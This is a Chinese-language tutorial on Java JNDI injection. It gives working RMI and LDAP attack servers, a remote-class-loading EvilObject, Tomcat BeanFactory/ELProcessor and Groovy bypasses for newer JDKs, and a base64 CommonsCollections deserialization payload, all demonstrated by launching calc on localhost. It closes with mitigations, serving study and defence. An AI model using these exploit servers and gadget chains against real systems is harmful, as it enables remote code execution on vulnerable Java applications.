什么是JNDI JNDI(Java Naming and Directory Interface)
即Java命名和目录接口 。调用JNDI
的API
可以定位资源和其他程序对象
Naming Service 命名服务 命名服务将名称和对象进行关联,提供通过名称找到对象的操作。其中值得一提的名称服务为LDAP
,全称为Lightweight Directory Access Protocol
,即轻量级目录访问协议
Bindings : 表示一个名称和对应对象的绑定关系,如在文件系统中文件名绑定到对应的文件,在 DNS
中域名绑定到对应的 IP
Context : 上下文,一个上下文中对应着一组名称到对象的绑定关系,可以在指定上下文中查找名称对应的对象。如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext
)References : 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++
中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd
(file descriptor
),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移
Directory Service 目录服务 目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。不仅可以根据名称去查找(lookup
)对象(并获取其对应属性),还可以根据属性值去搜索(search
)对象
API JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI
SPI (Service Provider Interface)服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:
RMI: Java Remote Method Invocation,Java 远程方法调用;
LDAP: 轻量级目录访问协议;
CORBA: (Common Object Request Broker Architecture)通用对象请求代理架构,用于COS名称服务(Common Object Services)
JNDI注入 JNDI 注入就是控制 lookup 函数的参数,使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象 ,从而执行代码,完成利用。是利用 Reference 类实现的,Reference
类表示对存在于命名/目录系统以外的对象的引用
前提条件&JDK防御 要成功利用JNDI注入漏洞,重要前提就是当前Java环境的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限制的版本号都有点不一样。这里将所有不同版本JDK的防御都列出来:
JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly
的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase
指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader
的安全性
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase
选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase
选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了
在进行JNDI注入之前,必须知道当前环境JDK版本,只有JDK版本在可利用的范围内才满足我们进行JNDI注入的前提条件
以下环境均为8u65
JNDI_RMI 服务端JNDIService.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIService { public static void main (String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); Reference refObj = new Reference ("EvilObject" , "EvilObject" , "http://127.0.0.1:2333/" ); ReferenceWrapper refObjWrapper = new ReferenceWrapper (refObj); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'" ); registry.bind("refObj" , refObjWrapper); } }
客户端JNDIClient.java
1 2 3 4 5 6 7 8 9 import javax.naming.Context;import javax.naming.InitialContext;public class JNDIClient { public static void main (String[] args) throws Exception { Context ctx = new InitialContext (); ctx.lookup("rmi://127.0.0.1:1099/refObj" ); } }
恶意类EvilObject.java
1 2 3 4 5 6 public class EvilObject { public EvilObject () throws Exception { Runtime runtime = Runtime.getRuntime(); runtime.exec("calc" ); } }
将恶意类编译为Class
文件,开启http服务
1 python -m http.server 2333
启动服务端、客户端
高版本 JDK 6u132
、7u122
、8u113
开始com.sun.jndi.rmi.object.trustURLCodebase
默认值为false
,即默认不允许通过RMI从远程的Codebase
加载Reference
工厂类
JDK_8u65
在低版本JDK_8u65下,在RegistryContext#decodeObject()
方法会直接调用到NamingManager#getObjectInstance()
,进而调用getObjectFactoryFromReference()
方法来获取远程工厂类
JDK_8u241
同样是在RegistryContext#decodeObject()
方法,这里增加了对类型以及trustURLCodebase
的检查
绕过 如果要decodeObject中解码的对象(第一参数)是远程引用,就需要先解引用然后再调用NamingManager.getObjectInstance
,其中会实例化对应的ObjectFactory
类并调用其 getObjectInstance
方法,这也符合我们前面打印的 EvilClass
的执行顺序
因此为了绕过这里 ConfigurationException
的限制,我们有三种方法:令 ref
为空 or 令 ref.getFactoryClassLocation()
为空 or 令 trustURLCodebase
为 true
方法一:令 ref
为空,从语义上看需要 obj
既不是 Reference
也不是 Referenceable
。即不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程 RMI
没有操作的空间,因此这种情况不太好利用
方法二:令 ref.getFactoryClassLocation()
返回空。即让ref
对象的classFactoryLocation
属性为空,这个属性表示引用所指向对象的对应factory
名称,对于远程代码加载而言是codebase
,即远程代码的URL
地址(可以是多个地址,以空格分隔),这正是我们上文针对低版本的利用方法;如果对应的 factory
是本地代码,则该值为空,这是绕过高版本 JDK
限制的关键 方法三:即在命令行指定 com.sun.jndi.rmi.object.trustURLCodebase
参数为true
分析一下法二:
看一下getFactoryClassLocation()
方法,以及返回值的赋值情况
要满足方法二情况,需要在远程RMI
服务器返回的 Reference
对象中不指定 Factory
的codebase
。接着看一下 javax.naming.spi.NamingManager
的解析过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { ObjectFactory factory; ObjectFactoryBuilder builder = getObjectFactoryBuilder(); if (builder != null ) { factory = builder.createObjectFactory(refInfo, environment); return factory.getObjectInstance(refInfo, name, nameCtx, environment); } Reference ref = null ; if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); if (factory != null ) { return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } else { answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null ) { return answer; } } } answer = createObjectFromFactories(refInfo, name, nameCtx, environment); return (answer != null ) ? answer : refInfo; }
可以看到在处理 Reference
对象时,会先调用ref.getFactoryClassName()
获取对应工厂类的名称,即先从本地的CLASSPATH
中寻找该类。如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回;如果为空则通过网络去请求
之后会执行静态代码块、代码块、无参构造函数和getObjectInstance
方法。只需要在攻击者本地CLASSPATH
找到这个Reference Factory
类并且在这四个地方其中一块能执行payload
就可以了。但getObjectInstance
方法需要类实现javax.naming.spi.ObjectFactory
接口 因此可以指定一个存在于目标 classpath
中的工厂类名称,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制,这种通过目标已有代码去实现任意代码执行的漏洞利用辅助类统称为 gadget 整个利用过程的主要调用栈如下:
1 2 3 4 5 6 7 InitialContext#lookup() RegistryContext#lookup() RegistryContext#decodeObject() NamingManager#getObjectInstance() objectfactory = NamingManager#getObjectFactoryFromReference() Class#newInstance() //-->恶意代码被执行 或: objectfactory#getObjectInstance() //-->恶意代码被执行
使用本地的Reference Factory类
存在于 Tomcat
依赖包中的 org.apache.naming.factory.BeanFactory
就是个不错的选择org.apache.naming.factory.BeanFactory
,这个类在 Tomcat
中,很多 web
应用都会包含,它的关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException { Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null ) { beanClass = tcl.loadClass(beanClassName); } else { beanClass = Class.forName(beanClassName); } Object bean = beanClass.getConstructor().newInstance(); RefAddr ra = ref.get("forceString" ); String value = (String)ra.getContent(); for (String param: value.split("," )) { param = param.trim(); index = param.indexOf('=' ); if (index >= 0 ) { setterName = param.substring(index + 1 ).trim(); param = param.substring(0 , index).trim(); } else { setterName = "set" + param.substring(0 , 1 ).toUpperCase(Locale.ENGLISH) + param.substring(1 ); } forced.put(param, beanClass.getMethod(setterName, paramTypes)); } Enumeration<RefAddr> e = ref.getAll(); while (e.hasMoreElements()) { ra = e.nextElement(); String propName = ra.getType(); String value = (String)ra.getContent(); Object[] valueArray = new Object [1 ]; Method method = forced.get(propName); if (method != null ) { valueArray[0 ] = value; method.invoke(bean, valueArray); } } }
上面注释标注了关键的部分,可以通过在返回给客户端的 Reference
对象的 forceString
字段指定 setter
方法的别名,并在后续初始化过程中进行调用forceString
的格式为 a=foo,bar
,以逗号分隔每个需要设置的属性,如果包含等号,则对应的 setter
方法为等号后的值 foo
,如果不包含等号,则 setter
方法为默认值 setBar
在后续调用时,调用 setter
方法使用单个参数,且参数值为对应属性对象 RefAddr
的值 (getContent
)。因此可以调用任意指定类的任意方法,并指定单个可控的参数
因为使用 newInstance
创建实例(也就是后面Poc
中的ELProcessor
),所以只能调用无参构造,这就要求目标 class
得有无参构造方法,上面 forceString
可以给属性强制指定一个 setter
方法,参数为一个 String
类型 于是找到 javax.el.ELProcessor
作为目标 class
,利用 el
表达式执行命令,工具 JNDI-Injection-Bypass 中的 EvilRMIServer.java
部分代码如下
整个绕过流程就是: 为了绕过ConfigurationException
,需要满足ref.getFactoryClassLocation()
为空,只需要在远程 RMI
服务器返回的 Reference
对象中不指定 Factory
的 codebase
来到NamingManager
,需要在攻击者本地CLASSPATH
找到这个Reference Factory
类并且在其中一块代码能执行payload
,找到了BeanFactory
BeanFactor
使用newInstance
创建实例,所以只能调用无参构造,这就要求目标 class
得有无参构造方法且有办法执行相关命令,于是找到ELProcessor
和GroovyShell
总结起来就是绕过了ConfigurationException
,进入NamingManager
,使用BeanFactor
创建ELProcessor
/GroovyShell
无参实例,然后BeanFactor
根据别名去调用方法(执行ELProcessor
中的eval
方法)
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Bypass { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); ResourceRef ref = new ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "x=eval" )); ref.add(new StringRefAddr ("x" , "Runtime.getRuntime().exec(\"calc\")" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("calc" , referenceWrapper); System.err.println("Server ready" ); } }
org.apache.naming.ResourceRef
在 tomcat
中表示某个资源的引用,其构造函数参数如下:
1 2 3 4 5 public ResourceRef (String resourceClass, String description, String scope, String auth, boolean singleton, String factory, String factoryLocation) { }
其中我们指定了资源的实际类为 javax.el.ELProcessor
,工厂类为 apache.naming.factory.BeanFactory
。x=eval
令上述代码实际执行的是 ELProcessor.eval
函数,其第一个参数是属性 x
的值,这里指定弹计算器
用maven添加如下依赖
1 2 3 4 5 <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.20</version> </dependency>
客户端
1 2 3 4 5 6 7 8 9 import javax.naming.Context;import javax.naming.InitialContext;public class JNDIClient { public static void main (String[] args) throws Exception { Context ctx = new InitialContext (); ctx.lookup("rmi://127.0.0.1:1099/calc" ); } }
需要 Tomcat 8+
或SpringBoot 1.2.x+
的环境。Server
端启动上述Poc
,Client
端正常请求,弹出计算器
源码分析
从获取到本地工厂类BeanFactory
开始,调用BeanFactory#getObjectInstance()
方法,看看BeanFactory
都干了那些事情
首先判断我们要从工厂生成的类是否是ResourceRef
类的实例,接着实例化我们指定的javax.el.ELProcessor
forceString
可以给属性强制指定一个setter
方法,这里将属性x
的setterName
设置为了public java.lang.Object javax.el.ELProcessor.eval()
接着传入x的setter的参数Runtime.getRuntime().exec("calc")
。接着运行setter,实际上就相当于运行java.lang.Object javax.el.ELProcessor.eval(Runtime.getRuntime().exec("calc"))
。eval()
会对EL表达式进行求值,进而命令执行
在Groovy的官方文档(ASTest )中,可以发现的是,Groovy程序允许我们执行断言 ,也就意味着命令执行
@ASTTest
是一种特殊的AST转换,它会在编译期对AST执行断言,而不是对编译结果执行断言。这意味着此AST转换在生成字节码之前可以访问 AST。@ASTTest
可以放置在任何可注释节点上
因此思路和Tomcat相似,借助BeanFactory的功能,使程序执行GroovyClassLoader#parseClass
,然后去解析Groovy脚本
工具 JNDI-Injection-Bypass 中的 EvilRMIServer.java
部分代码如下
传入的 Reference
为 ResourceRef
类,后面通过反射的方式实例化 Reference
所指向的任意 Bean Class
,调用 setter
方法为所有的属性赋值,该 Bean Class
的类名、属性、属性值,全都来自于 Reference
对象。ResourceRef
构造器的第七个参数factoryLocation
是远程加载factory
的地址,比如是一个url
,这里将其设置为null
,达到绕过ConfigurationException
限制
添加maven依赖
1 2 3 4 5 <dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy</artifactId> <version>2.4.5</version> </dependency>
服务端RMI_Server_Bypass_Groovy.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.NamingException;import javax.naming.StringRefAddr;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMI_Server_Bypass_Groovy { public static void main (String[] args) throws NamingException, RemoteException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099 ); ResourceRef resourceRef = new ResourceRef ("groovy.lang.GroovyClassLoader" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null ); resourceRef.add(new StringRefAddr ("forceString" , "x=parseClass" )); String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef x\n" , "calc" ); resourceRef.add(new StringRefAddr ("x" ,script)); ReferenceWrapper referenceWrapper = new ReferenceWrapper (resourceRef); registry.bind("calc" , referenceWrapper); System.out.println("Registry运行中......" ); } }
JNDI_LDAP 我们可以通过LDAP
服务来绕过URLCodebase
实现远程加载,LDAP
服务也能返回JNDI Reference
对象,利用过程与jndi
+ RMI Reference
基本一致,不同的是,LDAP
服务中lookup
方法中指定的远程地址使用的是LDAP
协议,由攻击者控制LDAP
服务端返回一个恶意jndi Reference
对象,并且LDAP
服务的Reference
远程加载Factory
类并不是使用RMI Class Loader
机制,因此不受trustURLCodebase
限制
下载导入unboundid-ldapsdk.jar 包
或者添加maven依赖
1 2 3 4 5 <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> </dependency>
服务端LDAPService.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;public class LDAPService { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) { String url = "http://127.0.0.1:2333/#EvilObject" ; int port = 1234 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "Exploit" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
客户端LDAPClient.java
1 2 3 4 5 6 7 8 9 import javax.naming.InitialContext;import javax.naming.NamingException;public class LDAPClient { public static void main (String[] args) throws NamingException { InitialContext initialContext = new InitialContext (); initialContext.lookup("ldap://127.0.0.1:1234/EvilObject" ); } }
恶意类
1 2 3 4 5 6 public class EvilObject { public EvilObject () throws Exception { Runtime runtime = Runtime.getRuntime(); runtime.exec("calc" ); } }
将恶意类编译为Class
文件,开启http服务
1 python -m http.server 2333
启动服务端、客户端
高版本 在JDK 11.0.1
、8u191
、7u201
、6u211
之后 com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值同样被修改为了false
,对应的CVE编号为:CVE-2018-3149
绕过 在LDAP中,Java有多种方式进行数据存储
序列化数据
JNDI Reference
Marshalled Object
Remote Location
同时LDAP也可以为存储的对象指定多种属性
javaCodeBase
objectClass
javaFactory
javaSerializedData
如果LDAP存储的某个对象的javaSerializedData
值不为空,则客户端会通过调用obj.decodeObject()
对该属性值内容进行反序列化。如果客户端存在反序列化相关组件漏洞,则我们可以通过LDAP来传输恶意序列化对象
序列化数据触发Gadget com.sun.jndi.ldap.Obj.java#decodeObject
存在对JAVA_ATTRIBUTES[SERIALIZED_DATA]
的判断,主要功能是解码从LDAP Server
来的对象,该对象可能是序列化的对象,也可能是一个Reference
对象 如果是序列化对象会调用deserializeObject
方法
进入deserializeObject
方法,会进行readObject
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.URL;import java.util.Base64;public class LDAP_Server_ByPass_Serialize { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main ( String[] tmp_args ) { String[] args=new String []{"http://127.0.0.1:2333/#EvilObject" }; int port = 1234 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (args[0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception { e.addAttribute("javaClassName" , "foo" ); e.addAttribute("javaSerializedData" , Base64.getDecoder().decode( "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWJjc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANlZWV4" )); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
和低版本JDK
运行的Server
端代码差不多,就把sendResult
处的代码改成能触发反序列化漏洞的利用链就可以
总结
JDK 5U45
、6U45
、7u21
、8u121
开始 java.rmi.server.useCodebaseOnly
默认配置为true
JDK 6u132
、7u122
、8u113
开始 com.sun.jndi.rmi.object.trustURLCodebase
默认值为false
JDK 11.0.1
、8u191
、7u201
、6u211
开始 com.sun.jndi.ldap.object.trustURLCodebase
默认为false
由于JNDI
注入动态加载的原理是使用Reference
引用Object Factory
类,其内部在上文中也分析到了使用的是URLClassLoader
,所以不受java.rmi.server.useCodebaseOnly=false
属性的限制 但是不可避免的受到 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的限制。
所以,JNDI-RMI
注入方式有: codebase
(JDK 6u132
、7u122
、8u113
之前可以) * 利用本地Class Factory
作为Reference Factory
JNDI-LDAP
注入方式: codebase(
JDK 11.0.1、
8u191、
7u201、
6u211之前可以) serialize(两个切入点)
防御
使用最新的JDK版本
将外部数据传入InitialContext.lookup()
方法前先进行严格的过滤
使用安全管理器时,需要仔细审计安全策略
参考链接:https://tttang.com/archive/1611/
https://goodapple.top/archives/696